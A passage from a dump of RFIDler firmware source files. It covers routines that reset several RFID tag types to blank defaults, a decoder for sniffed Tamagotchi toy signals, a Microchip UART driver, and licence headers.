EM4X05_USER_DATA_BLOCK_NUM ; i < EM4X05_DATABLOCKS ; ++i)\n                if(i != EM4X05_PW_BLOCK_NUM && !write_tag(i, EM4X05_BLANK_BLOCK, VERIFY))\n                    return FALSE;\n            // write default password (write only, so no verify)\n            if(!write_tag(EM4X05_PW_BLOCK_NUM, EM4X05_PWD_DEFAULT, NO_VERIFY))\n                return FALSE;\n            return TRUE;\n            \n        case TAG_TYPE_HITAG2:\n            if(!tag_write_default_config(tagtype, password))\n                return FALSE;\n            for(i= HITAG2_USER_DATA_BLOCK_NUM ; i < HITAG2_DATABLOCKS ; ++i)\n                if(!write_tag(i, HITAG2_BLANK_BLOCK, VERIFY))\n                    return FALSE;\n            // write default password\n            if(!write_tag(HITAG2_PW_BLOCK_NUM, HITAG2_PWD_DEFAULT, VERIFY))\n                return FALSE;\n            return TRUE;\n            \n        case TAG_TYPE_Q5:\n            // write config first so we can verify data block writes\n            if(!tag_write_default_config(tagtype, \"\"))\n                return FALSE;\n            for(i= Q5_USER_DATA_BLOCK_NUM ; i < Q5_DATABLOCKS ; ++i)\n                if(!write_tag(i, Q5_BLANK_BLOCK, VERIFY))\n                    return FALSE;\n            return TRUE;\n            \n        case TAG_TYPE_T55X7:\n            // write config first so we can verify data block writes\n            if(!tag_write_default_config(tagtype, \"\"))\n                return FALSE;\n            for(i= T55X7_USER_DATA_BLOCK_NUM ; i < T55X7_DATABLOCKS ; ++i)\n                if(!write_tag(i, T55X7_BLANK_BLOCK, VERIFY))\n                    return FALSE;\n            return TRUE;\n\n\n        default:\n            return FALSE;\n    }\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/tamagotchi.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n// Natalie Silvanovich\n// Tony Naggs\n//\n// Credit also to Mr Blinky (Twitter @MstrBlinky) for publishing info on decoding Tamagotchi Friends NFC, eg http://mrblinky.net/tf/packet-sniffing.txt\n\n#include \"HardwareProfile.h\"\n#include \"comms.h\"\n#include \"rfidler.h\"\n#include \"tamagotchi.h\"\n#include \"util.h\"\n\n// temporary? Enable debug prints for bit level decode\n#define VERBOSE_TAMA_LOGGING\n\n// tunable constants for decode\nconst unsigned int KBitMinPulse = 15;           // nominal bit pulse: 100 uS\nconst unsigned int KBitMaxPulse = 130;\nconst unsigned int KOneMinGap = 550;            // nominal One Gap: 600 ~ 650 uS\nconst unsigned int KOneMaxGap = 750;\nconst unsigned int KZeroMinGap = 150;           // nominal Zero Gap: 250 uS\nconst unsigned int KZeroMaxGap = 400;\nconst unsigned int KBarrierMinPulse = 200;      // nominal Barrier: 200 uS gap, 500 uS clock burst\nconst unsigned int KBarrierMaxPulse = 600;\n\nconst unsigned KMaxTamaMessage = 32; // max known message len from tamagotchi (for email)\n\n// decode externally sniffed PWM\nBOOL tamagotchi_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)\n{\n    unsigned int    index, offset, outcount;\n    BOOL            decoded= FALSE;\n    BYTE            out[KMaxTamaMessage];\n\n    // FIXME skip leading pulses of zero uS - can delete when sniff_pwm() no longer gives these to us\n    offset= 0;\n    while ((offset < count) && (pulses[offset] == 0))\n    {\n        offset++;\n    }\n\n#if defined(VERBOSE_TAMA_LOGGING)\n\tif (offset)\n    \tUserMessageNum(\"\\r\\noffset past zero pulses %d\", offset);\n#endif\n\n    // decode\n    for(index= 0, outcount= 0; ((index + offset) < count) && (outcount < (KMaxTamaMessage - 1));)\n    {\n        unsigned long temp = pulses[offset + index];\n\n        // start of byte barrier?\n        if ((temp >= KBarrierMinPulse) && (temp <= KBarrierMaxPulse) && ((index + offset) < (count - 7)))\n        {\n            unsigned int    bits = 0;\n            BYTE b = 0;\n\n#if defined(VERBOSE_TAMA_LOGGING)\n            UserMessageNum(\"\\r\\nBarrier (%d) \", temp);\n#endif\n            // process the byte (note changes index)\n            do {\n                b <<= 1;\n                // peek at the next pulse to make sure it is valid\n                temp = pulses[offset + index + 1];\n\n                // bit is invalid if next pulse is wrong size\n                if ((temp < KBitMinPulse) || (temp > KBitMaxPulse))\n                {\n                    decoded = FALSE;\n                    UserMessageNum(\"(bad pulse count %d) \", temp);\n                    break; // bad pulse width\n                }\n\n                if (index == 0)\n                    decoded = TRUE;\n\n                // value of bit depends on gap size\n                temp = gaps[offset + index];\n                if ((temp >= KOneMinGap) && (temp <= KOneMaxGap))\n                {\n                    // 1\n                    b += 1;\n#if defined(VERBOSE_TAMA_LOGGING)\n                   UserMessageNum(\"1 (gap %d) \", temp);\n#endif\n                }\n                else if ((temp >= KZeroMinGap) && (temp <= KZeroMaxGap))\n                {\n                    // 0\n#if defined(VERBOSE_TAMA_LOGGING)\n                    UserMessageNum(\"0 (gap %d) \", temp);\n#endif\n                }\n                else\n                {\n                    decoded = FALSE;\n#if defined(VERBOSE_TAMA_LOGGING)\n                    UserMessageNum(\"(bad gap %d) \", temp);\n#endif\n                    break; // bad gap\n                }\n\n                ++bits;\n                ++index;\n            }\n            while (((offset + index) < count) && (bits < 8));\n\n            if (bits == 8)\n            {\n                out[outcount++] = b;\n#if defined(VERBOSE_TAMA_LOGGING)\n                UserMessageNum(\" 0x%02x\", b);\n#endif\n            }\n        }\n        else\n        {\n#if defined(VERBOSE_TAMA_LOGGING)\n            if (index > 0)\n            {\n                temp = gaps[offset + index - 1];\n                if ((temp >= KOneMinGap) && (temp <= KOneMaxGap))\n                    UserMessageNum(\"\\r\\n1 Gap: %d, \", temp);\n                else if ((temp >= KZeroMinGap) && (temp <= KZeroMaxGap))\n                    UserMessageNum(\"\\r\\n0 Gap: %d, \", temp);\n                else\n                    UserMessageNum(\"\\r\\n??? Gap: %d, \", temp);\n            }\n\n            temp = pulses[offset + index];\n            if ((temp >= KBitMinPulse) && (temp <= KBitMaxPulse))\n                UserMessageNum(\"Bit Pulse: %d\", temp);\n            else if ((temp >= KBarrierMinPulse) && (temp <= KBarrierMaxPulse))\n                UserMessageNum(\"Barrier Pulse: %d\", temp);\n            else\n                UserMessageNum(\"??? Pulse: %d\", temp);\n#endif\n            decoded = FALSE;\n        }\n        ++index;\n    }\n    \n    UserMessage(\"%s\", \"\\r\\n\");\n\n    if (decoded)\n        decoded = VerifyTamaMessage(out, outcount);\n\n    return decoded;\n}\n\n\n// sum bytes (except initial sync 0xf0 and received checksum)\n// and if message seems valid display hex/text dump\nBOOL VerifyTamaMessage(BYTE *out, unsigned int outcount)\n{\n    BOOL valid = FALSE;\n\n    // check for sync & message length bytes\n    if ((outcount > 5) && (out[0] == 0xf0) && (out[2] == outcount - 4))\n    {\n        BYTE checksum = ChecksumTamaMessage(out, outcount - 1);\n\n        UserMessageNum(\"Message checking, calculated checksum: 0x%x\\r\\n\", checksum);\n        if (checksum == out[outcount-1])\n        {\n            valid = TRUE;\n            DumpTamaMessage(out, outcount);\n        }\n    }\n\n    return valid;\n}\n\n\nBYTE ChecksumTamaMessage(BYTE *out, unsigned int outcount)\n{\n    BYTE checksum = 0;\n    unsigned int    index;\n\n    // index starts at 1 to skip sync byte\n    for (index= 1; index < outcount; index++ )\n        checksum += out[index];\n\n    return checksum;\n}\n\nvoid DumpTamaMessage(BYTE *out, unsigned int outcount)\n{\n    unsigned int index;\n    char         text[KMaxTamaMessage + 1];\n\n    // print message in hex\n    for (index= 0; index < outcount; index++ )\n    {\n        BYTE b = out[index];\n\n        UserMessageNum(\" %02X\", b);\n        if ((index % 8) == 7)\n            UserMessage(\" \", NULL);\n\n        // convert from Tamagotchi Alphabet (eg user assigned name, email)\n        text[index] = TamaAlphabetConvert(b);\n    }\n    text[index] = 0;\n\n    UserMessage(\"    %s\\r\\n\", text);\n}\n\n\nchar TamaAlphabetConvert(BYTE b)\n{\n    if (b < 26)\n        return 'A' + b;\n    else if (b >= 32 && b <= 41)\n        return '0' + b - 32;\n    else switch (b)\n    {\n        case 26: return ' ';\n        case 27: return '.';\n        case 28: return '\\'';\n        case 29: return '-';\n        case 30: return '!';\n        // unknown\n        default: return '?';\n    }\n}"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/uart3.c",
    "content": "/*\r\n\r\nUART2 Driver File for PIC24.\r\n\r\n********************************************************************************\r\n FileName:        uart2.c\r\n Dependencies:    HardwareProfile.h\r\n Processor:       PIC24\r\n Compiler:        MPLAB C30\r\n Linker:          MPLAB LINK30\r\n Company:         Microchip Technology Incorporated\r\n\r\nAuthor                Date      Comment\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\nKO                 12-Feb-2008  Modified to use HardwareProfile.h\r\nKO                 11-Oct-2006  v1.0\r\nAnton Alkhimenok   18-Oct-2005\r\nAnton Alkhimenok   17-Feb-2009  Added UART2Char2Hex(), UART2Hex2Char(), \r\n\t\t\t\t\t\t\t\t\t  UART2ClearError(), UART2DataReceived()\r\nPAT\t\t\t\t   27-Jan-2010  Added UART2GetBaudError() for dynamic checking\r\n\t\t\t\t\t\t\t\tof baud rate percentage error.\r\n\r\n********************************************************************************\r\nSoftware License Agreement\r\n\r\nMicrochip Technology Inc. (\"Microchip\") licenses to you the right to use, copy,\r\nmodify and distribute the software - including source code - only for use with\r\nMicrochip microcontrollers or Microchip digital signal controllers; provided\r\nthat no open source or free software is incorporated into the Source Code\r\nwithout Microchips prior written consent in each instance.\r\n\r\nThe software is owned by Microchip and its licensors, and is protected under\r\napplicable copyright laws.  All rights reserved.\r\n\r\nSOFTWARE AND DOCUMENTATION ARE PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND,\r\nEITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF\r\nMERCHANTABILITY, TITLE, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.\r\nIN NO EVENT SHALL MICROCHIP OR ITS LICENSORS BE LIABLE OR OBLIGATED UNDER\r\nCONTRACT, NEGLIGENCE, STRICT LIABILITY, CONTRIBUTION, BREACH OF WARRANTY, OR\r\nOTHER LEGAL EQUITABLE THEORY ANY DIRECT OR INDIRECT DAMAGES OR EXPENSES\r\nINCLUDING BUT NOT LIMITED TO ANY INCIDENTAL, SPECIAL, INDIRECT OR\r\nCONSEQUENTIAL DAMAGES, LOST PROFITS OR LOST DATA, COST OF PROCUREMENT OF\r\nSUBSTITUTE GOODS, TECHNOLOGY, SERVICES, ANY CLAIMS BY THIRD PARTIES (INCLUDING\r\nBUT NOT LIMITED TO ANY DEFENSE THEREOF), OR OTHER SIMILAR COSTS.\r\n\r\n********************************************************************************\r\n*/\r\n\r\n#include \"Compiler.h\"\r\n#include \"HardwareProfile.h\"\r\n#include \"uart3.h\"\r\n\r\n//******************************************************************************\r\n// Constants\r\n//******************************************************************************\r\n\r\n//U2BRG register value and baudrate mistake calculation\r\n\r\n#if defined (__C30__)\r\n    #if defined (__dsPIC33E__) || defined (__PIC24E__)\r\n    #define BAUDRATEREG2        (((GetPeripheralClock())/(BRG_DIV2 * BAUDRATE2)) - 1)\r\n    #else\r\n    #define BAUDRATEREG2        (((GetSystemClock()/2)+(BRG_DIV2/2*BAUDRATE2))/BRG_DIV2/BAUDRATE2-1)\r\n    #endif\r\n#elif defined (__PIC32MX__)\r\n    #define BAUDRATEREG3        ((GetPeripheralClock()+(BRG_DIV3/2*BAUDRATE3))/BRG_DIV3/BAUDRATE3-1)\r\n#else\r\n    #error Cannot calculate BRG value\r\n#endif    \r\n\r\n#if defined (__C30__)\r\n    #if defined (__dsPIC33E__)|| defined (__PIC24E__)\r\n    #define BAUD_ACTUAL         ((GetPeripheralClock())/(BRG_DIV2 * (BAUDRATEREG2+1)))\r\n    #else\r\n    #define BAUD_ACTUAL         ((GetSystemClock()/2)/BRG_DIV2/(BAUDRATEREG2+1))\r\n    #endif\r\n#elif defined (__PIC32MX__)\r\n    #define BAUD_ACTUAL3         (GetPeripheralClock()/BRG_DIV3/(BAUDRATEREG3+1))\r\n#else\r\n    #error Cannot calculate actual baud rate\r\n#endif \r\n\r\n\t#define BAUD_ERROR3              ((BAUD_ACTUAL3 > BAUDRATE3) ? BAUD_ACTUAL3-BAUDRATE3 : BAUDRATE3-BAUD_ACTUAL3)\r\n\t#define BAUD_ERROR_PERCENT3      ((BAUD_ERROR3*100+BAUDRATE3/2)/BAUDRATE3)\r\n\t\r\n#if defined (__C30__)\r\n\r\n\t#if (BAUD_ERROR_PERCENT > 3)\r\n\t    #error UART frequency error is worse than 3%\r\n\t#elif (BAUD_ERROR_PERCENT > 2)\r\n\t    #warning UART frequency error is worse than 2%\r\n\t#endif\r\n\r\n#endif // #if defined (__C30__)\r\n\r\n/*******************************************************************************\r\nFunction: UART2GetBaudError()\r\n\r\nPrecondition:\r\n    None.\r\n\r\nOverview:\r\n    This routine checks the UART baud rate error percentage and returns it.\r\n\r\nInput: None.\r\n\r\nOutput: Returns the baud rate error in percent.\r\n\r\n*******************************************************************************/\r\nchar UART3GetBaudError()\r\n{\r\n    unsigned int errorPercent = 0;\r\n\r\n\terrorPercent = ((BAUD_ERROR3*100+BAUDRATE3/2)/BAUDRATE3);\r\n    return (char)errorPercent;\r\n}\r\n\r\n\r\n/*******************************************************************************\r\nFunction: UART2GetChar()\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This routine waits for a byte to be received.  It then returns that byte.\r\n\r\nInput: None.\r\n\r\nOutput: Byte received.\r\n\r\n*******************************************************************************/\r\nchar UART3GetChar()\r\n{\r\n    char Temp;\r\n\r\n    while(IFS1bits.U3RXIF == 0);\r\n\r\n    Temp = U3RXREG;\r\n    IFS1bits.U3RXIF = 0;\r\n    return Temp;\r\n}\r\n\r\n/*******************************************************************************\r\nFunction: UART2Init()\r\n\r\nPrecondition: None.\r\n\r\nOverview:\r\n    This routine sets up the UART2 module.\r\n\r\nInput: None.\r\n\r\nOutput: None.\r\n\r\nNotes:\r\n    Allow the peripheral to set the I/O pin directions.  If we set the TRIS\r\n    bits manually, then when we disable the UART, the shape of the stop bit\r\n    changes, and some terminal programs have problems.\r\n*******************************************************************************/\r\nvoid UART3Init()\r\n{\r\n    U3BRG = BAUDRATEREG3;\r\n    U3MODE = 0;\r\n    U3MODEbits.BRGH = BRGH3;\r\n    U3STA = 0;\r\n    U3MODEbits.UARTEN = 1;\r\n    U3STAbits.UTXEN = 1;\r\n    IFS1bits.U3RXIF = 0;\r\n    \r\n    #if defined (__PIC32MX__)\r\n        U3STAbits.URXEN = 1;\r\n    #endif\r\n}\r\n\r\n/*******************************************************************************\r\nFunction: UART2IsPressed()\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This routine checks to see if there is a new byte in UART reception buffer.\r\n\r\nInput: None.\r\n\r\nOutput:\r\n    0 : No new data received.\r\n    1 : Data is in the receive buffer\r\n\r\n*******************************************************************************/\r\nchar UART3IsPressed()\r\n{\r\n    if(IFS1bits.U3RXIF == 1)\r\n        return 1;\r\n    return 0;\r\n}\r\n\r\n/*******************************************************************************\r\nFunction: UART2PrintString( char *str )\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This function prints a string of characters to the UART.\r\n\r\nInput: Pointer to a null terminated character string.\r\n\r\nOutput: None.\r\n\r\n*******************************************************************************/\r\nvoid UART3PrintString( char *str )\r\n{\r\n    unsigned char c;\r\n\r\n    while( (c = *str++) )\r\n        UART3PutChar(c);\r\n}\r\n\r\n/*******************************************************************************\r\nFunction: UART2PutChar( char ch )\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This routine writes a character to the transmit FIFO, and then waits for the\r\n    transmit FIFO to be empty.\r\n\r\nInput: Byte to be sent.\r\n\r\nOutput: None.\r\n\r\n*******************************************************************************/\r\nvoid UART3PutChar( char ch )\r\n{\r\n    U3TXREG = ch;\r\n    #if !defined(__PIC32MX__)\r\n        Nop();\r\n        Nop();\r\n    #endif\r\n    while(U3STAbits.TRMT == 0);\r\n}\r\n\r\n/*******************************************************************************\r\nFunction: UART2PutDec(unsigned char dec)\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This function converts decimal data into a string and outputs it to UART.\r\n\r\nInput: Binary data.\r\n\r\nOutput: None.\r\n\r\n*******************************************************************************/\r\nvoid  UART3PutDec(unsigned char dec)\r\n{\r\n    unsigned char res;\r\n    unsigned char printed_already = 0;\r\n\r\n    res = dec;\r\n\r\n    if (res/100)\r\n    {\r\n        UART3PutChar( res/100 + '0' );\r\n        printed_already = 1;\r\n    }\r\n    res = res - (res/100)*100;\r\n\r\n    if ((res/10) || (printed_already == 1))\r\n    {\r\n        UART3PutChar( res/10 + '0' );\r\n    }\r\n    res = res - (res/10)*10;\r\n\r\n    UART3PutChar( res + '0' );\r\n}\r\n\r\n/*******************************************************************************\r\nFunction: UART2PutHex\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This function converts hex data into a string and outputs it to UART.\r\n\r\nInput: Binary data.\r\n\r\nOutput: None.\r\n\r\n*******************************************************************************/\r\n\r\n//const unsigned char CharacterArray[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};\r\n//\r\n//void UART3PutHex( int toPrint )\r\n//{\r\n//    int printVar;\r\n//\r\n//    printVar = toPrint;\r\n//    toPrint = (toPrint>>4) & 0x0F;\r\n//    UART3PutChar( CharacterArray[toPrint] );\r\n//\r\n//    toPrint = printVar & 0x0F;\r\n//    UART3PutChar( CharacterArray[toPrint] );\r\n//\r\n//    return;\r\n//}\r\n\r\n/*******************************************************************************\r\nFunction: UART2PutHexWord(unsigned int toPrint)\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This function converts hex data into a string and outputs it to UART.\r\n\r\nInput: Binary data.\r\n\r\nOutput: None.\r\n\r\n*******************************************************************************/\r\n//#if defined( __C30__ ) || defined( __PIC32MX__ )\r\n//void UART3PutHexWord( unsigned int toPrint )\r\n//{\r\n//    unsigned int printVar;\r\n//\r\n//    printVar = (toPrint>>12) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = (toPrint>>8) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = (toPrint>>4) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = toPrint & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    return;\r\n//}\r\n//\r\n//void UART3PutHexDWord( unsigned long toPrint )\r\n//{\r\n//    unsigned long printVar;\r\n//\r\n//    printVar = (toPrint>>28) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = (toPrint>>24) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = (toPrint>>20) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = (toPrint>>16) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = (toPrint>>12) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = (toPrint>>8) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = (toPrint>>4) & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    printVar = toPrint & 0x0F;\r\n//    UART3PutChar( CharacterArray[printVar] );\r\n//\r\n//    return;\r\n//}\r\n//\r\n//#endif\r\n\r\n/*********************************************************************\r\nFunction: char UART2Char2Hex(char ch)\r\n\r\nPreCondition: none\r\n\r\nInput: ASCII to be converted\r\n\r\nOutput: number\r\n\r\nSide Effects: none\r\n\r\nOverview: converts ASCII coded digit into number\r\n\r\nNote: none\r\n\r\n********************************************************************/\r\n//char UART3Char2Hex(char ch){\r\n//  // Wrong char\r\n//  if(ch > 102)\r\n//    return 0;\r\n//\r\n//  // From a to f\r\n//  if(ch > 96)\r\n//    return (ch-87);\r\n//\r\n//  // Wrong char\r\n//  if(ch > 70)\r\n//    return 0;\r\n//\r\n//  // From A to F\r\n//  if(ch > 64)\r\n//    return (ch-55);\r\n//\r\n//  // Wrong char\r\n//  if(ch > 57)\r\n//    return 0;\r\n//\r\n//  // From 0 - 9\r\n//  if(ch > 47)\r\n//    return(ch-48);\r\n//  else\r\n//  // Wrong char\r\n//    return 0;\r\n//}\r\n//\r\n///*********************************************************************\r\n//Function: char UART2Hex2Char(char hex)\r\n//\r\n//PreCondition: none\r\n//\r\n//Input: number\r\n//\r\n//Output: ASCII code\r\n//\r\n//Side Effects: none\r\n//\r\n//Overview: converts low nibble into ASCII coded digit\r\n//\r\n//Note: none\r\n//\r\n//********************************************************************/\r\n//char UART3Hex2Char(char hex){\r\n//char h;\r\n//  h = hex&0x0f;\r\n//  // From 0xa to 0xf\r\n//  if(h>9)\r\n//    return (h+55);\r\n//  else\r\n//    return (h+48);\r\n//}\r\n\r\n/*********************************************************************\r\nFunction: void UART2ClrError(void)\r\n\r\nPreCondition: none\r\n\r\nInput: none\r\n\r\nOutput: character received\r\n\r\nSide Effects: none\r\n\r\nOverview: wait for character\r\n\r\nNote: none\r\n\r\n********************************************************************/\r\nvoid UART3ClrError(void){\r\n    // Clear error flag\r\n    if(U3STAbits.OERR)\r\n\t\tU3STAbits.OERR = 0;\r\n}\r\n\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/uid.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a 